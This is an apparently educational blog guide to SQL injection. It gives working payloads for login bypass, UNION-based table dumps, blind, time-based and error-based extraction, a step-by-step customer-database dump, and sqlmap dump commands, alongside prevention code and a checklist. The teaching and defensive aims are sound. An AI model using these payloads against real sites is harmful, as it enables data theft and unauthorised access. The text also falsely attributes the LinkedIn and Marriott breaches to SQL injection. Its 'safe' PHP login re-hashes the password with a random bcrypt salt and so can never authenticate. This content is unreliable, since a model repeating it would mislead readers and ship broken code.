SQL Injection Explained: 5 Types, Real Examples & How to Prevent It (2026 Guide)
What Is SQL Injection? Complete 2026 Guide — How It Works, Real Attack Examples, Every Type & Prevention Code
SQL injection has been the most exploited web vulnerability for over two decades — and it is still responsible for some of the largest data breaches every year. The 2021 LinkedIn leak of 700 million records, the 2020 Marriott breach, and thousands of smaller incidents every month all trace back to the same root cause: user input being trusted and executed as part of a database query.
It sits at position A03 in the OWASP Top 10 — the globally recognised list of the most critical web application security risks. Yet despite being well-documented for 25 years, it keeps appearing in production applications. The reason is not that developers are ignorant of it — most have heard of SQL injection. The reason is that they don't fully understand how it works at the code level, which means they can't recognise their own vulnerable code when they write it.
This post is the complete SQL injection guide. Not just definitions — actual attack mechanics with working examples, every type explained, a real database dump walkthrough, and exact prevention code in Python, Node.js, and PHP that you can use immediately.
- What SQL injection actually is — the core mechanic explained
- Type 1: Classic (In-Band) SQL injection — login bypass
- Type 2: UNION-based injection — dumping entire tables
- Type 3: Blind SQL injection — extracting data without seeing output
- Type 4: Time-based blind injection — when there is no output at all
- Type 5: Error-based injection — using database errors as a channel
- Real walkthrough: how an attacker dumps a full database
- Prevention: parameterised queries in Python, Node.js & PHP
- What automated tools like sqlmap do
- SQLi prevention checklist
What SQL Injection Actually Is — The Core Mechanic
Every SQL injection vulnerability has the same root cause: a developer builds a database query by concatenating a string that includes user input. The database cannot distinguish the intended query structure from the user-supplied data — to the database engine, it is all just SQL text.
Consider the classic vulnerable login query:
-- Vulnerable PHP code $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * FROM users WHERE username='" . $username . "' AND password='" . $password . "'";
When a legitimate user submits username amardeep and password mysecretpassword, the query becomes:
SELECT * FROM users WHERE username='amardeep' AND password='mysecretpassword'
This works exactly as intended. Now consider what happens when an attacker submits username ' OR '1'='1' --:
SELECT * FROM users WHERE username='' OR '1'='1' --' AND password='anything'
The -- is a SQL comment — everything after it is ignored. The condition '1'='1' is always true. The query now returns all users in the table regardless of what password was entered. The attacker logs in as the first user — typically the admin account.
' in a login field and the application returned a database error exposing the full query structure. From that one error, I could see exactly what the query looked like and plan the injection. The entire exploitation of the login took under 5 minutes. What took longer was understanding why the parameterised query fix works — once I understood that, I understood why the vulnerability exists at all.
Type 1 — Classic In-Band SQL Injection: Login Bypass
Bypassing Login Without Knowing Any Password
The most immediately dangerous SQL injection variant: bypassing authentication entirely.
Vulnerable query pattern:
SELECT * FROM users WHERE username='[input]' AND password='[input]'
Injection payload: In the username field, submit: admin'--
Resulting query:
SELECT * FROM users WHERE username='admin'--' AND password='anything'
The -- comments out the entire password check. The query returns the admin record regardless of what password was entered. You are now authenticated as admin.
Alternative payload that works when username is unknown: ' OR 1=1--
This bypasses both checks entirely and returns the first user in the table (often admin).
Type 2 — UNION-Based SQL Injection: Dumping Entire Tables
Extracting Data From Any Table in the Database
UNION-based injection is used when the application displays query results on the page. The attacker uses SQL's UNION operator to append a second query to the original, extracting data from any table in the database.
Scenario: A product search page at /products?id=5 runs: SELECT name, description FROM products WHERE id=5
Step 1 — Find the number of columns:
-- Inject into the id parameter: /products?id=5 ORDER BY 1-- (works) /products?id=5 ORDER BY 2-- (works) /products?id=5 ORDER BY 3-- (error — only 2 columns exist) -- Now we know there are 2 columns
Step 2 — Extract the current database user and version:
/products?id=5 UNION SELECT user(), version()-- -- Page displays: root@localhost 8.0.32
Step 3 — List all tables in the database:
/products?id=5 UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema=database()-- -- Output: users, products, orders, admin_credentials
Step 4 — Dump the users table:
/products?id=5 UNION SELECT username, password FROM users-- -- Output: -- admin : $2y$10$bMz3QrBjXRKp8... (bcrypt hash) -- john : 5f4dcc3b5aa765d61d83... (MD5 — crackable) -- alice : password123 (plaintext — worst case)
With a UNION injection and sufficient permissions, an attacker can extract every piece of data from every table the database user has access to. The 2008 Heartland breach — 130 million credit card records — used a variant of this technique.
Type 3 — Blind SQL Injection: No Output Needed
Extracting Data When the Application Shows No Output
Many applications don't display query results directly — they just show "success" or "error." Blind SQL injection exploits boolean (true/false) responses to extract data one bit at a time.
Scenario: A user profile page /user?id=5 either loads a profile or shows "User not found." The injected query's truth value determines which response appears.
-- Is the first character of the admin password 'a'? /user?id=5 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -- If page loads: first character IS 'a' -- If "User not found": first character is NOT 'a' -- Repeat for each character position: /user?id=5 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),2,1)='d'-- -- Continue until full password is extracted character by character
This is tedious manually — which is why tools like sqlmap automate it. But understanding the mechanic is crucial for knowing why parameterised queries are the only reliable defence.
Type 4 — Time-Based Blind Injection: When There Is No Visible Response
Using Response Time as the Data Channel
When the application shows identical responses regardless of query outcome, time-based injection uses database delays as a communication channel. If the condition is true, the database waits; if false, it responds immediately.
-- MySQL time-based blind: does the database user contain 'root'? /search?q=test' AND IF(SUBSTRING(user(),1,4)='root', SLEEP(5), 0)-- -- If response takes 5+ seconds: condition is TRUE (user starts with 'root') -- If response is immediate: condition is FALSE -- PostgreSQL equivalent: /search?q=test'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
Type 5 — Error-Based Injection: Using Database Errors as Output
Extracting Data Through Deliberate Error Messages
Some databases include query data in their error messages. Error-based injection deliberately triggers errors that contain the information the attacker wants.
-- MySQL ExtractValue error-based injection: ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))-- -- Error: XPATH syntax error: '~target_database_name' -- The database name is embedded in the error message -- Microsoft SQL Server stacked query + error: '; SELECT CONVERT(int, (SELECT TOP 1 username FROM users))-- -- Error: Conversion failed when converting the nvarchar value 'admin' to data type int. -- Username 'admin' is revealed in the error
This is why verbose error messages in production are a security risk — not just a quality issue. Exposing raw database errors gives attackers a direct data extraction channel. The Security Misconfiguration guide covers this in detail.
Real Walkthrough — How an Attacker Dumps a Full Database
Complete Attack Scenario: E-commerce Site Database Exfiltration
Target: An e-commerce site's product page at /product.php?id=12
Step 1 — Discovery: Submit /product.php?id=12' → SQL error appears. Confirmed injectable.
Step 2 — Column count: id=12 ORDER BY 5-- → error. ORDER BY 4-- → works. Four columns confirmed.
Step 3 — Database fingerprint: id=-1 UNION SELECT 1,database(),user(),version()-- → Returns: shopdb | root@localhost | 8.0.32
Step 4 — List tables: UNION with information_schema → Tables: customers, orders, products, admin_users
Step 5 — Extract customer data: UNION SELECT customer_id,email,phone,credit_card FROM customers LIMIT 100--
Result: 100 customer records including emails, phone numbers, and partial credit card data, downloaded in under 10 minutes from a single vulnerable parameter. A full dump of all tables takes slightly longer but follows the exact same pattern.
Impact: 50,000 customer records including payment data. Regulatory notification requirements triggered. Legal liability. Reputational damage. All from one developer who wrote a query like "SELECT * FROM products WHERE id=" + id.
Prevention: Parameterised Queries in Python, Node.js & PHP
The definitive fix for SQL injection is parameterised queries (also called prepared statements). The database driver handles the separation between query structure and data — user input can never alter the query structure regardless of what it contains.
Python — psycopg2 (PostgreSQL) and sqlite3
query = f"SELECT * FROM users WHERE username='{username}'"
cursor.execute(query)
query = "SELECT * FROM users WHERE username=%s"
cursor.execute(query, (username,))
# Python — complete safe login function
import psycopg2
def authenticate_user(username: str, password_hash: str):
conn = psycopg2.connect(DATABASE_URL)
cursor = conn.cursor()
# SAFE: parameterised query — user input never touches query structure
cursor.execute(
"SELECT id, username, role FROM users WHERE username = %s AND password_hash = %s",
(username, password_hash) # Parameters passed separately — NEVER concatenated
)
user = cursor.fetchone()
cursor.close()
conn.close()
return user # None if no match — injection cannot bypass this
Node.js — mysql2 and pg (PostgreSQL)
// Node.js with mysql2 — parameterised queries
const mysql = require('mysql2/promise');
async function getProduct(productId) {
const conn = await mysql.createConnection(DB_CONFIG);
// SAFE: ? placeholder — mysql2 handles escaping automatically
const [rows] = await conn.execute(
'SELECT id, name, price FROM products WHERE id = ?',
[productId] // User input passed as parameter array
);
await conn.end();
return rows[0] || null;
}
// Node.js with pg (PostgreSQL) — $1 placeholder syntax
const { Pool } = require('pg');
const pool = new Pool();
async function getUserByEmail(email) {
// SAFE: $1 is a positional parameter — never interpolated into query string
const result = await pool.query(
'SELECT id, username, role FROM users WHERE email = $1',
[email]
);
return result.rows[0] || null;
}
PHP — PDO (recommended for all new PHP code)
<?php
// PHP with PDO — parameterised queries
function authenticateUser(PDO $pdo, string $username, string $password): ?array {
// SAFE: named placeholder :username — PDO handles escaping
$stmt = $pdo->prepare(
"SELECT id, username, role FROM users WHERE username = :username AND password_hash = :password_hash"
);
$stmt->execute([
':username' => $username,
':password_hash' => password_hash($password, PASSWORD_BCRYPT)
]);
return $stmt->fetch(PDO::FETCH_ASSOC) ?: null;
// Returns null if no match — injection payload has zero effect
}
// WRONG — do not use mysqli_query with string concatenation:
// $result = mysqli_query($conn, "SELECT * FROM users WHERE name='$name'"); // VULNERABLE
?>
+, ., or f-string interpolation that inserts a variable into a SQL query is a potential SQL injection vulnerability. Parameterised queries eliminate this category of vulnerability entirely — not by filtering input, but by making it structurally impossible for input to alter query logic.
What sqlmap Does — And Why You Should Understand It
sqlmap is an open-source tool that automates SQL injection detection and exploitation. It is the most widely used SQL injection tool in both legitimate security testing and malicious attacks. Understanding what it does is useful for both attackers testing authorised systems and defenders understanding what they face.
# sqlmap basic usage — authorised testing only # Never use against systems you don't own or have written permission to test sqlmap -u "https://target-lab.com/product?id=5" --dbs # Automatically detects injection, identifies database type, lists databases sqlmap -u "https://target-lab.com/product?id=5" -D target_db --tables # Lists all tables in target_db sqlmap -u "https://target-lab.com/product?id=5" -D target_db -T users --dump # Dumps the entire users table # sqlmap handles all injection types automatically: # Union-based, blind boolean, time-based, error-based # Identifies the most efficient technique for the target automatically
sqlmap can dump a full database in minutes given a single injectable parameter. This is why parameterised queries are not optional — a vulnerable endpoint + sqlmap = complete database exfiltration with almost no manual effort required.
✅ SQL Injection Prevention Checklist
- Use parameterised queries for every database query. No exceptions. If a query contains user input and is not parameterised, it is vulnerable.
- Never build SQL queries by string concatenation. Any use of
+,., f-strings, or format strings to build SQL is a red flag. - Use an ORM (SQLAlchemy, Sequelize, Prisma, Hibernate) — but be aware that raw query methods in ORMs can still be vulnerable if you pass user input directly.
- Apply least privilege to database accounts. Application DB users should have only SELECT, INSERT, UPDATE, DELETE on specific tables — never DROP, CREATE, or admin rights.
- Disable error messages in production. Raw SQL errors expose query structure and table names. Return generic error messages to users.
- Validate and sanitise input as a defence-in-depth measure. Not as the primary defence — input validation can be bypassed. Parameterised queries cannot.
- Use a Web Application Firewall (WAF) as an additional layer — ModSecurity, Cloudflare WAF. Not a replacement for parameterised queries, but catches many automated tools.
- Run automated SQL injection testing in your CI/CD pipeline using tools like sqlmap (in safe mode on staging), OWASP ZAP, or Burp Suite's active scanner.
🛠️ Tools & Technologies Mentioned
- sqlmap (automated SQL injection testing — authorised use only)
- DVWA — Damn Vulnerable Web Application (safe practice environment)
- PortSwigger SQL injection labs (best free hands-on practice)
- Burp Suite (intercepting requests for manual SQLi testing)
- psycopg2 / pg / mysql2 (parameterised query libraries)
- SQLAlchemy / Sequelize / Prisma (ORMs with safe query building)
- ModSecurity / Cloudflare WAF (WAF as additional layer)
- →OWASP Top 10 Explained — A03 Injection, Broken Access Control & More
- →What Is XSS (Cross-Site Scripting)? Complete Guide with Real Examples
- →Security Misconfiguration — Why Verbose Errors Are a Vulnerability
- →Bug Bounty Beginner Guide 2026 — SQL Injection Is a High-Value Finding
- →Python for Security Testing — Automate SQL Injection Detection Scripts
SQL Injection — FAQs
text() function, Sequelize's sequelize.query() with string interpolation, or Prisma's $queryRaw with template literals can all be vulnerable if user input is interpolated rather than parameterised. The rule still applies: user input must be passed as a parameter, never interpolated into the query string — regardless of whether you are using an ORM or raw queries.$where, $gt, or JavaScript expressions in query objects. The prevention principle is identical: always validate that input data matches the expected type and never allow user input to add operators or structural elements to a query.' and checking for database errors. Then try basic payloads like ' OR '1'='1'-- in login fields and ' UNION SELECT null-- in search fields. For systematic testing, run sqlmap against your staging environment with --level=3 --risk=2 for thorough coverage without the most destructive tests. For learning in a safe environment, practice on DVWA (Damn Vulnerable Web Application) or PortSwigger's free SQL injection labs — these are designed to be attacked and teach the techniques without any legal risk.
Comments
Post a Comment